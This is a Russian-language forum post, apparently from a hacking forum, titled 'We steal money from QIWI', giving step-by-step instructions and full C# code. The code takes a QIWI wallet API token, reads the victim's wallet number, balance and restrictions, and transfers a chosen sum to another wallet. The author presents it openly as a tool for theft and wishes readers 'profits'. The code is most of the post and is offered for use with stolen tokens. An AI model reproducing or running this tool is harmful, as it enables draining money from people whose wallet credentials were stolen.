Перейти к публикации

GAMEOVER

Крадем деньги с QIWI

Рекомендованные сообщения

И так, сразу к делу.

 

Отступление

Я предоставил весь код и комментарии к нему внутри, на случай если какая-то часть будет непонятна. Код можно улучшать и "прокачивать". Все в ваших руках 🙂

А да, язык на котором мы все пишем - C#

 

Приступаем

1. Создадим новый проект. Тип проекта будет консольное приложение на .NET Core.

2. Зайдём в меню управление пакетами nuGet и подключим библиотеку RestSharp и Newtonsoft.Json

3. Создадим новый класс, который назовём Transaction.

4. В только что созданный класс вставим данный код.

   /// <summary>
        /// Токен киви кошелька
        /// </summary>
        private string Token { get; set; }
        /// <summary>
        /// Конструктор
        /// </summary>
        /// <param name="token">Токен</param>
        public Transaction(string token)
        {
            Token = token;
        }
        /// <summary>
        /// Получение номера киви кошелька
        /// </summary>
        /// <returns>Номер кошелька</returns>
        private string GetQiwiNumber()
        {
            var client = new RestClient("https://edge.qiwi.com/person-profile/v1/profile/current");
            var request = new RestRequest(Method.GET);
            request.AddHeader("Content-Type", "application/json");
            request.AddHeader("Accept", "application/json");
            request.AddHeader("Authorization", $"Bearer {Token}");
            request.AddParameter("application/json", ParameterType.RequestBody);
            IRestResponse response = client.Execute(request);
            JObject jobject = JObject.Parse(response.Content);
            JToken qiwiNumber = jobject.SelectToken("$.authInfo.personId");
            if (qiwiNumber != null)
            {
                return (string)qiwiNumber;
            }
            else
            {
                return "Error";
            }
        }
        /// <summary>
        /// Получение баланса
        /// </summary>
        /// <returns></returns>
        private double GetBalance()
        {
            string personId = GetQiwiNumber();
            var client = new RestClient($"https://edge.qiwi.com//funding-sources/v2/persons/{personId}/accounts");
            var request = new RestRequest(Method.GET);
            request.AddHeader("Content-Type", "application/json");
            request.AddHeader("Accept", "application/json");
            request.AddHeader("Authorization", $"Bearer {Token}");
            request.AddParameter("application/json", ParameterType.RequestBody);
            IRestResponse response = client.Execute(request);
            JObject jobject = JObject.Parse(response.Content);
            JToken balance = jobject.SelectToken("$.accounts[0].balance.amount");
            if (balance != null)
            {
                return double.Parse((string)balance);
            }
            else
            {
                return -1;
            }
        }
        /// <summary>
        /// Проверка ограничий
        /// </summary>
        /// <returns></returns>
        private string CheckLimitations()
        {
            string personId = GetQiwiNumber();
            var client = new RestClient($"https://edge.qiwi.com//person-profile/v1/persons/{personId}/status/restrictions");
            var request = new RestRequest(Method.GET);
            request.AddHeader("Content-Type", "application/json");
            request.AddHeader("Accept", "application/json");
            request.AddHeader("Authorization", $"Bearer {Token}");
            request.AddParameter("application/json", ParameterType.RequestBody);
            IRestResponse response = client.Execute(request);
            JArray jsonArray = JArray.Parse(response.Content);
            JToken limition = jsonArray.SelectToken("$.[0].restrictionDescription");
            if (limition != null)
            {
                return (string)limition;
            }
            else
            {
                return "Нет";
            }
        }
        /// <summary>
        /// Метод служащий для вывода средств на ваш киви кошелёк
        /// </summary>
        /// <param name="number">Ваш номер киви кошелька</param>
        /// <param name="sum">Сумма для вывода средств</param>
        /// <returns>Булево значение</returns>
        public bool OutputTransaction(long number, int sum)
        {
            try
            {
                var client = new RestClient("https://edge.qiwi.com/sinap/api/v2/terms/99/payments");
                var request = new RestRequest(Method.POST);
                request.AddHeader("Content-Type", "application/json");
                request.AddHeader("Accept", "application/json");
                request.AddHeader("Authorization", $"Bearer {Token}");
                DateTime date = DateTime.Now;
                uint unixTime = (uint)(date.ToUniversalTime() - new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc)).TotalSeconds;
                request.AddParameter("application/json",
                    $"{{ \n        \"id\":\"{unixTime * 1000}\", \n        \"sum\": {{ \n          \"amount\":{sum}, \n          \"currency\":\"643\" \n        }}, \n        \"paymentMethod\": {{ \n          \"type\":\"Account\", \n          \"accountId\":\"643\" \n        }},\n        \"comment\":\"Перевод осуществлён {DateTime.Now:dd.MMM.yyyy}\", \n        \"fields\": {{ \n          \"account\":\"{number}\" \n        }} \n      }}",
                    ParameterType.RequestBody);
                IRestResponse response = client.Execute(request);
                dynamic jobject = JObject.Parse(response.Content);
                if (jobject.transaction.state.code.ToString() != "Accepted")
                {
                    return false;
                }
                else
                {
                    return true;
                }
            }
            catch
            {
                return false;
            }
        }

        public string WalletInformation()
        {
            return $"Номер кошелька: {GetQiwiNumber()}\nБаланс кошелька: {GetBalance()}\nОграничения: {CheckLimitations()}";
        }

5. Перейдём в класс Program и в метод Main пропишем ниже указанный код.

  while (true)
            {
                try
                {
                    Console.WriteLine("Введите токен киви кошелька");
                    string token = Console.ReadLine();
                    Transaction transaction = new Transaction(token);
                    Console.WriteLine(transaction.WalletInformation());
                    Console.WriteLine("\nВведите номер кошелька киви на который будет осуществлён вывод средств");
                    long number = long.Parse(Console.ReadLine());
                    Console.WriteLine("\nВведите сумму");
                    int sum = int.Parse(Console.ReadLine());
                    if (transaction.OutputTransaction(number, sum))
                    {
                        Console.WriteLine($"Ваш Qiwi кошелёк был пополнен");
                    }
                    else
                    {
                        Console.WriteLine($"Не удалось вывести средства");
                    }
                    Console.ReadKey();
                }
                catch (Exception ex)
                {
                    Console.WriteLine(ex.Message);
                }
            }

 

Буквально за 5 минут мы получаем простенький скрипт который:

1. Проверяет ограничения на кошельке.

2. Проверяет баланс кошелька

3. Получает номер кошелька

4. Выводит средства с кошелька.

 

Всем профитов, друзья!

Поделиться сообщением


Ссылка на сообщение

Создайте аккаунт или войдите в него для комментирования

Вы должны быть пользователем, чтобы оставить комментарий

Создать аккаунт

Зарегистрируйтесь для получения аккаунта. Это просто!

Зарегистрировать аккаунт

Войти

Уже зарегистрированы? Войдите здесь.

Войти сейчас

×
×
  • Создать...